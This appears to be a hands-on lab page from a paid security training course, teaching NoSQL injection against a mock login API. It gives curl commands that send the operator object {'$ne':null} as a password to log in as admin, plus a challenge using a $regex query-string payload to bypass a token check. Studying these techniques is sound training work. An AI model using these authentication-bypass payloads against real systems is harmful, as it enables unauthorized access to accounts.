NoSQL Injection · Lab 24
Lab 24 Module 4 Hard

NoSQL Injection

A login form queries a document database. It passes the request body to the database as-is, expecting strings. But JSON allows more than strings. Send an object — and the query that runs is not the one the developer wrote.

The rule: the login endpoint takes a JSON body with username and password. The server passes them to a mock document database without type checking. Your job is to log in as admin without knowing the password.

Test

Copy these. Run them. Read what comes back.

Step 1 · Log in normally

Start with valid credentials. The endpoint works as you'd expect.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/24/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"demo","password":"demo123"}'

What you'll see:

Response
{
  "ok": true,
  "user": "demo"
}

Works. Now try a wrong password.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/24/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"demo","password":"wrong"}'

What you'll see:

Response
{
  "ok": false,
  "error": "invalid credentials"
}

Refused. The server is looking for a document where username equals X and password equals Y. Both must match.

Step 3 · Send an object instead of a string

The query operators in this database accept an operator object: {"$ne": null} means "not equal to null" — which is true for every existing document. If the server passes the JSON directly to the query, a password of {"$ne": null} matches any password.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/24/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$ne":null}}'

What you'll see:

Response
{
  "ok": true,
  "user": "admin",
  "note": "NoSQL injection — operator object matched any password"
}

You logged in as admin without knowing the password. The database saw password != null, matched the admin document, and returned it. The server never validated that the password was a string.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

The login endpoint also accepts a token field. When you log in successfully, the server returns one. But there is another way: the token check also compares against a filter object. It matches any token that starts with admin_.

Fetch /api/24/vault?token= with the token expressed as {"$regex":"^admin_"}. The vault returns the flag when the filter matches.

The trick: you must send the token as a JSON object in the query string. Use ?token[$regex]=^admin_ in the URL — Express-style parsers turn this into the object {"$regex":"^admin_"}.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 24 — NoSQL Injection

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →

Previous Lab 24 of 30 Next lab